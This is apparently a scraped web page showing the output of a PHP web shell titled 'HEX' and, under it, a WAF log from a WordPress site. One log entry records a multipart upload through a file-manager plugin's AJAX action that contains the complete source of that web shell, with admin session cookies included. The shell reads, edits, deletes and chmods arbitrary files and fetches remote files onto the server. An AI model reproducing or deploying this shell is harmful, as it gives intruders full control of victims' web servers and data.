HEX
Server: nginx/1.26.1
System: Linux iZrj9cbdvwu1cot8sjlyzlZ 5.10.134-15.al8.x86_64 #1 SMP Thu Jul 20 00:44:04 CST 2023 x86_64
User: www (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: //www/wwwlogs/free_waf_log/dewenlabels.com_2026-04-05.log
["2026-04-05 11:43:55","81.168.83.103","GET","\/settings.py.bak","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/124.0.0.0 Safari\/537.36","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/settings.py.bak","GET \/settings.py.bak HTTP\/1.1\nhost:47.254.126.238\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/124.0.0.0 Safari\/537.36\n\n"]
["2026-04-05 19:12:40","23.137.105.51","POST","\/wp-admin\/admin-ajax.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/133.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-admin\/admin-ajax.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/133.0.0.0 Safari\/537.36\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:empty\ncookie:wordpress_sec_3309b4d362f120e2b595228292f03253=admin%7C1775560337%7Cz8c2GICIIBQFKwdKJ1DcwHZWK7C4WrkxEHiBXUlBRd8%7Cae233a2b159df6303189c1ca072a70e2c3ce4801d4ff9fd5b2f94ae7a66fd991; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_3309b4d362f120e2b595228292f03253=admin%7C1775560337%7Cz8c2GICIIBQFKwdKJ1DcwHZWK7C4WrkxEHiBXUlBRd8%7C2a1c12dbd8580423f07983ecd157f36c6b3400731447b8700f5c44191797c0ad; tk_ai=woo%3Aq77ENrbxlN0nWIsyMJCsQCGo; wp-settings-1=libraryContent%3Dbrowse%26editor%3Dtinymce%26hidetb%3D1%26advImgDetails%3Dshow%26mfold%3Do%26posts_list_mode%3Dlist; wp-settings-time-1=1775387538\nsec-fetch-mode:cors\nsec-fetch-site:same-origin\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate, br\npriority:u=4, i\norigin:https:\/\/dewenlabels.com\nreferer:https:\/\/dewenlabels.com\/wp-admin\/admin.php?ssd\ncontent-type:multipart\/form-data; boundary=19e667350ee5126bbdd391e6c2db5992\nsec-ch-ua:\"Chromium\";v=\"133\", \"Not(A:Brand\";v=\"99\"\ncontent-length:27492\nsec-ch-ua-mobile:?0\n\n--19e667350ee5126bbdd391e6c2db5992\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n--19e667350ee5126bbdd391e6c2db5992\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n--19e667350ee5126bbdd391e6c2db5992\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nmk_file_folder_manager\r\n--19e667350ee5126bbdd391e6c2db5992\r\nContent-Disposition: form-data; name=\"_wpnonce\"\r\n\r\n0edd9f7ff0\r\n--19e667350ee5126bbdd391e6c2db5992\r\nContent-Disposition: form-data; name=\"networkhref\"\r\n\r\n\r\n--19e667350ee5126bbdd391e6c2db5992\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"wqenb.php\"\r\nContent-Type: multipart\/form-data\r\n\r\n<!DOCTYPE html>\n\n<html lang=\"en\">\n\n<head>\n\n    <meta charset=\"UTF-8\">\n\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n\n    <title>HEX<\/title>\n\n    <link href=\"https:\/\/fonts.googleapis.com\/css2?family=JetBrains+Mono:wght@400;500&display=swap\" rel=\"stylesheet\">\n\n    <style>\n\n        * {\n\n            margin: 0;\n\n            padding: 0;\n\n            box-sizing: border-box;\n\n        }\n\n\n\n        body {\n\n            font-family: 'JetBrains Mono', monospace;\n\n            background: #0d1117;\n\n            color: #c9d1d9;\n\n            line-height: 1.6;\n\n            font-size: 14px;\n\n            min-height: 100vh;\n\n            padding: 20px;\n\n        }\n\n\n\n        .container {\n\n            max-width: 1000px;\n\n            margin: 0 auto;\n\n        }\n\n\n\n        \/* Header *\/\n\n        .header {\n\n            background: #161b22;\n\n            border: 1px solid #21262d;\n\n            border-radius: 6px;\n\n            padding: 16px;\n\n            margin-bottom: 16px;\n\n        }\n\n\n\n        .title {\n\n            font-size: 18px;\n\n            font-weight: 500;\n\n            color: #58a6ff;\n\n            margin-bottom: 12px;\n\n        }\n\n\n\n        .system-info {\n\n            display: grid;\n\n            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));\n\n            gap: 8px;\n\n            font-size: 12px;\n\n        }\n\n\n\n        .info-line {\n\n            padding: 4px 0;\n\n        }\n\n\n\n        .info-label {\n\n            color: #7d8590;\n\n            display: inline-block;\n\n            width: 120px;\n\n        }\n\n\n\n        .info-value {\n\n            color: #f0883e;\n\n        }\n\n\n\n        \/* Breadcrumb *\/\n\n        .breadcrumb {\n\n            background: #0d1117;\n\n            border: 1px solid #21262d;\n\n            border-radius: 6px;\n\n            padding: 12px;\n\n            margin-bottom: 16px;\n\n            font-size: 13px;\n\n        }\n\n\n\n        .breadcrumb a {\n\n            color: #58a6ff;\n\n            text-decoration: none;\n\n        }\n\n\n\n        .breadcrumb a:hover {\n\n            text-decoration: underline;\n\n        }\n\n\n\n        \/* Upload Section *\/\n\n        .upload-section {\n\n            background: #161b22;\n\n            border: 1px solid #21262d;\n\n            border-radius: 6px;\n\n            padding: 16px;\n\n            margin-bottom: 16px;\n\n        }\n\n\n\n        .section-title {\n\n            font-size: 14px;\n\n            font-weight: 500;\n\n            color: #f0f6fc;\n\n            margin-bottom: 12px;\n\n        }\n\n\n\n        .form-row {\n\n            margin-bottom: 12px;\n\n        }\n\n\n\n        .radio-group {\n\n            display: flex;\n\n            gap: 20px;\n\n            margin-bottom: 12px;\n\n        }\n\n\n\n        .radio-item {\n\n            display: flex;\n\n            align-items: center;\n\n            gap: 6px;\n\n            font-size: 13px;\n\n        }\n\n\n\n        .radio-item input[type=\"radio\"] {\n\n            margin: 0;\n\n        }\n\n\n\n        input[type=\"file\"],\n\n        input[type=\"text\"],\n\n        select,\n\n        textarea {\n\n            background: #0d1117;\n\n            border: 1px solid #21262d;\n\n            border-radius: 6px;\n\n            color: #c9d1d9;\n\n            padding: 8px 12px;\n\n            font-family: inherit;\n\n            font-size: 13px;\n\n        }\n\n\n\n        input[type=\"file\"]:focus,\n\n        input[type=\"text\"]:focus,\n\n        select:focus,\n\n        textarea:focus {\n\n            outline: none;\n\n            border-color: #58a6ff;\n\n        }\n\n\n\n        .btn {\n\n            background: #21262d;\n\n            border: 1px solid #30363d;\n\n            border-radius: 6px;\n\n            color: #f0f6fc;\n\n            padding: 6px 12px;\n\n            font-family: inherit;\n\n            font-size: 13px;\n\n            cursor: pointer;\n\n            transition: all 0.2s;\n\n        }\n\n\n\n        .btn:hover {\n\n            background: #30363d;\n\n            border-color: #8b949e;\n\n        }\n\n\n\n        .btn-primary {\n\n            background: #238636;\n\n            border-color: #238636;\n\n        }\n\n\n\n        .btn-primary:hover {\n\n            background: #2ea043;\n\n        }\n\n\n\n        .btn-danger {\n\n            background: #da3633;\n\n            border-color: #da3633;\n\n        }\n\n\n\n        .btn-danger:hover {\n\n            background: #f85149;\n\n        }\n\n\n\n        .upload-row {\n\n            display: flex;\n\n            gap: 8px;\n\n            align-items: end;\n\n        }\n\n\n\n        .upload-row input[type=\"file\"],\n\n        .upload-row input[type=\"text\"] {\n\n            flex: 1;\n\n        }\n\n\n\n        .upload-row input[type=\"text\"]:last-of-type {\n\n            max-width: 150px;\n\n        }\n\n\n\n        \/* Messages *\/\n\n        .message {\n\n            padding: 12px;\n\n            border-radius: 6px;\n\n            margin: 12px 0;\n\n            font-size: 13px;\n\n        }\n\n\n\n        .message-success {\n\n            background: rgba(35, 134, 54, 0.15);\n\n            border: 1px solid #238636;\n\n            color: #56d364;\n\n        }\n\n\n\n        .message-error {\n\n            background: rgba(218, 54, 51, 0.15);\n\n            border: 1px solid #da3633;\n\n            color: #f85149;\n\n        }\n\n\n\n        \/* Table *\/\n\n        .file-table {\n\n            background: #0d1117;\n\n            border: 1px solid #21262d;\n\n            border-radius: 6px;\n\n            overflow: hidden;\n\n            margin-bottom: 20px;\n\n        }\n\n\n\n        table {\n\n            width: 100%;\n\n            border-collapse: collapse;\n\n        }\n\n\n\n        th {\n\n            background: #161b22;\n\n            padding: 12px;\n\n            text-align: left;\n\n            font-weight: 500;\n\n            font-size: 13px;\n\n            color: #f0f6fc;\n\n            border-bottom: 1px solid #21262d;\n\n        }\n\n\n\n        td {\n\n            padding: 8px 12px;\n\n            border-bottom: 1px solid #21262d;\n\n            font-size: 13px;\n\n        }\n\n\n\n        tr:hover {\n\n            background: #161b22;\n\n        }\n\n\n\n        .file-link {\n\n            color: #c9d1d9;\n\n            text-decoration: none;\n\n        }\n\n\n\n        .file-link:hover {\n\n            color: #58a6ff;\n\n        }\n\n\n\n        .dir-link {\n\n            color: #58a6ff;\n\n        }\n\n\n\n        .size {\n\n            color: #7d8590;\n\n            text-align: right;\n\n        }\n\n\n\n        .permissions {\n\n            font-family: 'JetBrains Mono', monospace;\n\n            font-size: 12px;\n\n            color: #7d8590;\n\n        }\n\n\n\n        .writable { color: #56d364; }\n\n        .readonly { color: #f85149; }\n\n\n\n        \/* Action Form *\/\n\n        .action-form {\n\n            display: flex;\n\n            gap: 4px;\n\n            align-items: center;\n\n        }\n\n\n\n        .action-form select {\n\n            font-size: 12px;\n\n            padding: 4px 8px;\n\n            min-width: 80px;\n\n        }\n\n\n\n        .action-form .btn {\n\n            padding: 4px 8px;\n\n            font-size: 12px;\n\n        }\n\n\n\n        \/* Edit Form *\/\n\n        .edit-form {\n\n            background: #161b22;\n\n            border: 1px solid #21262d;\n\n            border-radius: 6px;\n\n            padding: 16px;\n\n            margin: 16px 0;\n\n        }\n\n\n\n        .edit-form textarea {\n\n            width: 100%;\n\n            min-height: 400px;\n\n            resize: vertical;\n\n        }\n\n\n\n        .edit-form .form-row {\n\n            margin-top: 12px;\n\n        }\n\n\n\n        \/* File Preview *\/\n\n        .file-preview {\n\n            background: #0d1117;\n\n            border: 1px solid #21262d;\n\n            border-radius: 6px;\n\n            padding: 16px;\n\n            margin: 16px 0;\n\n        }\n\n\n\n        .file-preview pre {\n\n            background: #161b22;\n\n            border: 1px solid #21262d;\n\n            border-radius: 6px;\n\n            padding: 16px;\n\n            overflow-x: auto;\n\n            font-size: 12px;\n\n            line-height: 1.45;\n\n        }\n\n\n\n        \/* Footer *\/\n\n        .footer {\n\n            text-align: center;\n\n            margin-top: 40px;\n\n            padding: 20px;\n\n        }\n\n\n\n        .telegram-link {\n\n            display: inline-flex;\n\n            align-items: center;\n\n            gap: 8px;\n\n            background: #0088cc;\n\n            color: white;\n\n            text-decoration: none;\n\n            padding: 10px 20px;\n\n            border-radius: 6px;\n\n            font-size: 14px;\n\n            font-weight: 500;\n\n            transition: background 0.2s;\n\n        }\n\n\n\n        .telegram-link:hover {\n\n            background: #0099dd;\n\n        }\n\n\n\n        \/* Responsive *\/\n\n        @media (max-width: 768px) {\n\n            .container { padding: 10px; }\n\n            .system-info { grid-template-columns: 1fr; }\n\n            .upload-row { flex-direction: column; }\n\n            .upload-row input[type=\"text\"]:last-of-type { max-width: none; }\n\n            table { font-size: 12px; }\n\n            th, td { padding: 6px 8px; }\n\n        }\n\n    <\/style>\n\n<\/head>\n\n<body>\n\n    <div class=\"container\">\n\n        <div class=\"header\">\n\n            <div class=\"title\">HEX<\/div>\n\n            \n\n            <?php\n\n            set_time_limit(0);\n\n            error_reporting(0);\n\n\n\n            $disfunc = @ini_get(\"disable_functions\");\n\n            if (empty($disfunc)) {\n\n                $disf = \"<span class='writable'>NONE<\/span>\";\n\n            } else {\n\n                $disf = \"<span class='readonly'>\".$disfunc.\"<\/span>\";\n\n            }\n\n\n\n            function author() {\n\n                echo '<div class=\"footer\">\n\n                        <a href=\"https:\/\/t.me\/HEX80\" class=\"telegram-link\" target=\"_blank\">\n\n                            <span>@<\/span>\n\n                            <span>Telegram<\/span>\n\n                        <\/a>\n\n                      <\/div>';\n\n                exit();\n\n            }\n\n\n\n            function cekdir() {\n\n                if (isset($_GET['path'])) {\n\n                    $lokasi = $_GET['path'];\n\n                } else {\n\n                    $lokasi = getcwd();\n\n                }\n\n                if (is_writable($lokasi)) {\n\n                    return \"<span class='writable'>writable<\/span>\";\n\n                } else {\n\n                    return \"<span class='readonly'>readonly<\/span>\";\n\n                }\n\n            }\n\n\n\n            function cekroot() {\n\n                if (is_writable($_SERVER['DOCUMENT_ROOT'])) {\n\n                    return \"<span class='writable'>writable<\/span>\";\n\n                } else {\n\n                    return \"<span class='readonly'>readonly<\/span>\";\n\n                }\n\n            }\n\n\n\n            function xrmdir($dir) {\n\n                $items = scandir($dir);\n\n                foreach ($items as $item) {\n\n                    if ($item === '.' || $item === '..') {\n\n                        continue;\n\n                    }\n\n                    $path = $dir.'\/'.$item;\n\n                    if (is_dir($path)) {\n\n                        xrmdir($path);\n\n                    } else {\n\n                        unlink($path);\n\n                    }\n\n                }\n\n                rmdir($dir);\n\n            }\n\n\n\n            function green($text) {\n\n                echo \"<div class='message message-success'>\".$text.\"<\/div>\";\n\n            }\n\n\n\n            function red($text) {\n\n                echo \"<div class='message message-error'>\".$text.\"<\/div>\";\n\n            }\n\n            ?>\n\n\n\n            <div class=\"system-info\">\n\n                <div class=\"info-line\">\n\n                    <span class=\"info-label\">Server:<\/span>\n\n                    <span class=\"info-value\"><?php echo $_SERVER['SERVER_SOFTWARE']; ?><\/span>\n\n                <\/div>\n\n                <div class=\"info-line\">\n\n                    <span class=\"info-label\">System:<\/span>\n\n                    <span class=\"info-value\"><?php echo php_uname(); ?><\/span>\n\n                <\/div>\n\n                <div class=\"info-line\">\n\n                    <span class=\"info-label\">User:<\/span>\n\n                    <span class=\"info-value\"><?php echo @get_current_user().\" (\".@getmyuid().\")\"; ?><\/span>\n\n                <\/div>\n\n                <div class=\"info-line\">\n\n                    <span class=\"info-label\">PHP:<\/span>\n\n                    <span class=\"info-value\"><?php echo @phpversion(); ?><\/span>\n\n                <\/div>\n\n                <div class=\"info-line\" style=\"grid-column: 1 \/ -1;\">\n\n                    <span class=\"info-label\">Disabled:<\/span>\n\n                    <span class=\"info-value\"><?php echo $disf; ?><\/span>\n\n                <\/div>\n\n            <\/div>\n\n        <\/div>\n\n\n\n        <div class=\"breadcrumb\">\n\n            <?php\n\n            foreach($_POST as $key => $value){\n\n                $_POST[$key] = stripslashes($value);\n\n            }\n\n\n\n            if(isset($_GET['path'])){\n\n                $lokasi = $_GET['path'];\n\n                $lokdua = $_GET['path'];\n\n            } else {\n\n                $lokasi = getcwd();\n\n                $lokdua = getcwd();\n\n            }\n\n\n\n            $lokasi = str_replace('\\\\','\/',$lokasi);\n\n            $lokasis = explode('\/',$lokasi);\n\n            $lokasinya = @scandir($lokasi);\n\n\n\n            echo \"$ pwd: \";\n\n            foreach($lokasis as $id => $lok){\n\n                if($lok == '' && $id == 0){\n\n                    $a = true;\n\n                    echo '<a href=\"?path=\/\">\/<\/a>';\n\n                    continue;\n\n                }\n\n                if($lok == '') continue;\n\n                echo '<a href=\"?path=';\n\n                for($i=0;$i<=$id;$i++){\n\n                    echo \"$lokasis[$i]\";\n\n                    if($i != $id) echo \"\/\";\n\n                } \n\n                echo '\">'.$lok.'<\/a>\/';\n\n            }\n\n            ?>\n\n        <\/div>\n\n        <div class=\"upload-section\">\n\n            <div class=\"section-title\">Upload Files<\/div>\n\n\n\n            <?php\n\n            if (isset($_POST['upwkwk'])) {\n\n                if (isset($_POST['berkasnya'])) {\n\n                    if ($_POST['dirnya'] == \"2\") {\n\n                        $lokasi = $_SERVER['DOCUMENT_ROOT'];\n\n                    }\n\n                    $data = @file_put_contents($lokasi.\"\/\".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));\n\n                    if (file_exists($lokasi.\"\/\".$_FILES['berkas']['name'])) {\n\n                        green(\"File uploaded: \".$lokasi.\"\/\".$_FILES['berkas']['name']);\n\n                    } else {\n\n                        red(\"Upload failed\");\n\n                    }\n\n                } elseif (isset($_POST['linknya'])) {\n\n                    if (empty($_POST['namalink'])) {\n\n                        red(\"Filename cannot be empty\");\n\n                    } else {\n\n                        if ($_POST['dirnya'] == \"2\") {\n\n                            $lokasi = $_SERVER['DOCUMENT_ROOT'];\n\n                        }\n\n                        $data = @file_put_contents($lokasi.\"\/\".$_POST['namalink'], @file_get_contents($_POST['darilink']));\n\n                        if (file_exists($lokasi.\"\/\".$_POST['namalink'])) {\n\n                            green(\"File uploaded: \".$lokasi.\"\/\".$_POST['namalink']);\n\n                        } else {\n\n                            red(\"Upload failed\");\n\n                        }\n\n                    }\n\n                }\n\n            }\n\n            ?>\n\n\n\n            <form enctype=\"multipart\/form-data\" method=\"post\">\n\n                <div class=\"form-row\">\n\n                    <div class=\"radio-group\">\n\n                        <label class=\"radio-item\">\n\n                            <input type=\"radio\" value=\"1\" name=\"dirnya\" checked>\n\n                            <span>current [<?php echo cekdir(); ?>]<\/span>\n\n                        <\/label>\n\n                        <label class=\"radio-item\">\n\n                            <input type=\"radio\" value=\"2\" name=\"dirnya\">\n\n                            <span>docroot [<?php echo cekroot(); ?>]<\/span>\n\n                        <\/label>\n\n                    <\/div>\n\n                <\/div>\n\n\n\n                <input type=\"hidden\" name=\"upwkwk\" value=\"aplod\">\n\n                \n\n                <div class=\"form-row\">\n\n                    <div class=\"upload-row\">\n\n                        <input type=\"file\" name=\"berkas\">\n\n                        <button type=\"submit\" name=\"berkasnya\" class=\"btn btn-primary\">Upload<\/button>\n\n                    <\/div>\n\n                <\/div>\n\n\n\n                <div class=\"form-row\">\n\n                    <div class=\"upload-row\">\n\n                        <input type=\"text\" name=\"darilink\" placeholder=\"https:\/\/example.com\/file.txt\">\n\n                        <input type=\"text\" name=\"namalink\" placeholder=\"filename\">\n\n                        <button type=\"submit\" name=\"linknya\" class=\"btn btn-primary\">Fetch<\/button>\n\n                    <\/div>\n\n                <\/div>\n\n            <\/form>\n\n        <\/div>\n\n\n\n        <?php\n\n        if (isset($_GET['fileloc'])) {\n\n            echo \"<div class='file-preview'>\";\n\n            echo \"<div class='section-title'>File: \".$_GET['fileloc'].\"<\/div>\";\n\n            echo \"<pre>\".htmlspecialchars(file_get_contents($_GET['fileloc'])).\"<\/pre>\";\n\n            echo \"<\/div>\";\n\n            author();\n\n        } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == \"hapus\") {\n\n            if (is_dir($_POST['path'])) {\n\n                xrmdir($_POST['path']);\n\n                if (file_exists($_POST['path'])) {\n\n                    red(\"Failed to delete directory\");\n\n                } else {\n\n                    green(\"Directory deleted\");\n\n                }\n\n            } elseif (is_file($_POST['path'])) {\n\n                @unlink($_POST['path']);\n\n                if (file_exists($_POST['path'])) {\n\n                    red(\"Failed to delete file\");\n\n                } else {\n\n                    green(\"File deleted\");\n\n                }\n\n            }\n\n        } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == \"ubahmod\") {\n\n            echo \"<div class='edit-form'>\";\n\n            echo \"<div class='section-title'>chmod \".$_POST['path'].\"<\/div>\";\n\n            echo '<form method=\"post\">\n\n            <div class=\"form-row\">\n\n                <input name=\"perm\" type=\"text\" size=\"4\" value=\"'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'\" placeholder=\"0644\" \/>\n\n                <input type=\"hidden\" name=\"path\" value=\"'.$_POST['path'].'\">\n\n                <input type=\"hidden\" name=\"pilih\" value=\"ubahmod\">\n\n                <button type=\"submit\" name=\"chm0d\" class=\"btn btn-primary\">Apply<\/button>\n\n            <\/div>\n\n            <\/form>';\n\n            if (isset($_POST['chm0d'])) {\n\n                $cm = @chmod($_POST['path'], $_POST['perm']);\n\n                if ($cm == true) {\n\n                    green(\"Permission changed\");\n\n                } else {\n\n                    red(\"Permission change failed\");\n\n                }\n\n            }\n\n            echo \"<\/div>\";\n\n        } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == \"gantinama\") {\n\n            if (isset($_POST['gantin'])) {\n\n                $ren = @rename($_POST['path'], $_POST['newname']);\n\n                if ($ren == true) {\n\n                    green(\"Renamed successfully\");\n\n                } else {\n\n                    red(\"Rename failed\");\n\n                }\n\n            }\n\n            if (empty($_POST['name'])) {\n\n                $namaawal = $_POST['newname'];\n\n            } else {\n\n                $namawal = $_POST['name'];\n\n            }\n\n            echo \"<div class='edit-form'>\";\n\n            echo \"<div class='section-title'>mv \".$_POST['path'].\"<\/div>\";\n\n            echo '<form method=\"post\">\n\n            <div class=\"form-row\">\n\n                <input name=\"newname\" type=\"text\" value=\"'.$namaawal.'\" placeholder=\"new name\" \/>\n\n                <input type=\"hidden\" name=\"path\" value=\"'.$_POST['path'].'\">\n\n                <input type=\"hidden\" name=\"pilih\" value=\"gantinama\">\n\n                <button type=\"submit\" name=\"gantin\" class=\"btn btn-primary\">Rename<\/button>\n\n            <\/div>\n\n            <\/form>';\n\n            echo \"<\/div>\";\n\n        } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == \"edit\") {\n\n            if (isset($_POST['gasedit'])) {\n\n                $edit = @file_put_contents($_POST['path'], $_POST['src']);\n\n                if ($edit == true) {\n\n                    green(\"File saved\");\n\n                } else {\n\n                    red(\"Save failed\");\n\n                }\n\n            }\n\n            echo \"<div class='edit-form'>\";\n\n            echo \"<div class='section-title'>nano \".$_POST['path'].\"<\/div>\";\n\n            echo '<form method=\"post\">\n\n            <textarea name=\"src\">'.htmlspecialchars(file_get_contents($_POST['path'])).'<\/textarea>\n\n            <div class=\"form-row\">\n\n                <input type=\"hidden\" name=\"path\" value=\"'.$_POST['path'].'\">\n\n                <input type=\"hidden\" name=\"pilih\" value=\"edit\">\n\n                <button type=\"submit\" name=\"gasedit\" class=\"btn btn-primary\">Save<\/button>\n\n            <\/div>\n\n            <\/form>';\n\n            echo \"<\/div>\";\n\n        }\n\n        ?>\n\n        <div class=\"file-table\">\n\n            <table>\n\n                <thead>\n\n                    <tr>\n\n                        <th>Name<\/th>\n\n                        <th style=\"width: 80px;\">Size<\/th>\n\n                        <th style=\"width: 100px;\">Permissions<\/th>\n\n                        <th style=\"width: 120px;\">Actions<\/th>\n\n                    <\/tr>\n\n                <\/thead>\n\n                <tbody>\n\n                    <?php\n\n                    foreach($lokasinya as $dir){\n\n                        if(!is_dir($lokasi.\"\/\".$dir) || $dir == '.' || $dir == '..') continue;\n\n                        echo \"<tr>\n\n                        <td>\n\n                            <a href=\\\"?path=\".$lokasi.\"\/\".$dir.\"\\\" class='file-link dir-link'>\n\n                                📁 \".$dir.\"\n\n                            <\/a>\n\n                        <\/td>\n\n                        <td class='size'>--<\/td>\n\n                        <td class='permissions \";\n\n                        if(is_writable($lokasi.\"\/\".$dir)) echo 'writable';\n\n                        elseif(!is_readable($lokasi.\"\/\".$dir)) echo 'readonly';\n\n                        echo \"'>\".statusnya($lokasi.\"\/\".$dir).\"<\/td>\n\n                        <td>\n\n                            <form method='POST' action='?pilihan&path=$lokasi' class='action-form'>\n\n                                <select name='pilih'>\n\n                                    <option value=''>--<\/option>\n\n                                    <option value='hapus'>rm<\/option>\n\n                                    <option value='ubahmod'>chmod<\/option>\n\n                                    <option value='gantinama'>mv<\/option>\n\n                                <\/select>\n\n                                <input type='hidden' name='type' value='dir'>\n\n                                <input type='hidden' name='name' value='$dir'>\n\n                                <input type='hidden' name='path' value='$lokasi\/$dir'>\n\n                                <button type='submit' class='btn'>go<\/button>\n\n                            <\/form>\n\n                        <\/td>\n\n                        <\/tr>\";\n\n                    }\n\n\n\n                    foreach($lokasinya as $file) {\n\n                        if(!is_file(\"$lokasi\/$file\")) continue;\n\n                        $size = filesize(\"$lokasi\/$file\")\/1024;\n\n                        $size = round($size,3);\n\n                        if($size >= 1024){\n\n                            $size = round($size\/1024,2).'M';\n\n                        } else {\n\n                            $size = $size.'K';\n\n                        }\n\n\n\n                        echo \"<tr>\n\n                        <td>\n\n                            <a href=\\\"?fileloc=$lokasi\/$file&path=$lokasi\\\" class='file-link'>\n\n                                📄 $file\n\n                            <\/a>\n\n                        <\/td>\n\n                        <td class='size'>\".$size.\"<\/td>\n\n                        <td class='permissions \";\n\n                        if(is_writable(\"$lokasi\/$file\")) echo 'writable';\n\n                        elseif(!is_readable(\"$lokasi\/$file\")) echo 'readonly';\n\n                        echo \"'>\".statusnya(\"$lokasi\/$file\").\"<\/td>\n\n                        <td>\n\n                            <form method='post' action='?pilihan&path=$lokasi' class='action-form'>\n\n                                <select name='pilih'>\n\n                                    <option value=''>--<\/option>\n\n                                    <option value='hapus'>rm<\/option>\n\n                                    <option value='ubahmod'>chmod<\/option>\n\n                                    <option value='gantinama'>mv<\/option>\n\n                                    <option value='edit'>nano<\/option>\n\n                                <\/select>\n\n                                <input type='hidden' name='type' value='file'>\n\n                                <input type='hidden' name='name' value='$file'>\n\n                                <input type='hidden' name='path' value='$lokasi\/$file'>\n\n                                <button type='submit' class='btn'>go<\/button>\n\n                            <\/form>\n\n                        <\/td>\n\n                        <\/tr>\";\n\n                    }\n\n                    ?>\n\n                <\/tbody>\n\n            <\/table>\n\n        <\/div>\n\n\n\n        <?php\n\n        author();\n\n\n\n        function statusnya($file){\n\n            $statusnya = fileperms($file);\n\n\n\n            if (($statusnya & 0xC000) == 0xC000) {\n\n                $ingfo = 's';\n\n            } elseif (($statusnya & 0xA000) == 0xA000) {\n\n                $ingfo = 'l';\n\n            } elseif (($statusnya & 0x8000) == 0x8000) {\n\n                $ingfo = '-';\n\n            } elseif (($statusnya & 0x6000) == 0x6000) {\n\n                $ingfo = 'b';\n\n            } elseif (($statusnya & 0x4000) == 0x4000) {\n\n                $ingfo = 'd';\n\n            } elseif (($statusnya & 0x2000) == 0x2000) {\n\n                $ingfo = 'c';\n\n            } elseif (($statusnya & 0x1000) == 0x1000) {\n\n                $ingfo = 'p';\n\n            } else {\n\n                $ingfo = 'u';\n\n            }\n\n\n\n            $ingfo .= (($statusnya & 0x0100) ? 'r' : '-');\n\n            $ingfo .= (($statusnya & 0x0080) ? 'w' : '-');\n\n            $ingfo .= (($statusnya & 0x0040) ?\n\n                (($statusnya & 0x0800) ? 's' : 'x' ) :\n\n                (($statusnya & 0x0800) ? 'S' : '-'));\n\n\n\n            $ingfo .= (($statusnya & 0x0020) ? 'r' : '-');\n\n            $ingfo .= (($statusnya & 0x0010) ? 'w' : '-');\n\n            $ingfo .= (($statusnya & 0x0008) ?\n\n                (($statusnya & 0x0400) ? 's' : 'x' ) :\n\n                (($statusnya & 0x0400) ? 'S' : '-'));\n\n\n\n            $ingfo .= (($statusnya & 0x0004) ? 'r' : '-');\n\n            $ingfo .= (($statusnya & 0x0002) ? 'w' : '-');\n\n            $ingfo .= (($statusnya & 0x0001) ?\n\n                (($statusnya & 0x0200) ? 't' : 'x' ) :\n\n                (($statusnya & 0x0200) ? 'T' : '-'));\n\n\n\n            return $ingfo;\n\n        }\n\n        ?>\n\n    <\/div>\n\n<\/body>\n\n<\/html>\r\n--19e667350ee5126bbdd391e6c2db5992--\r\n"]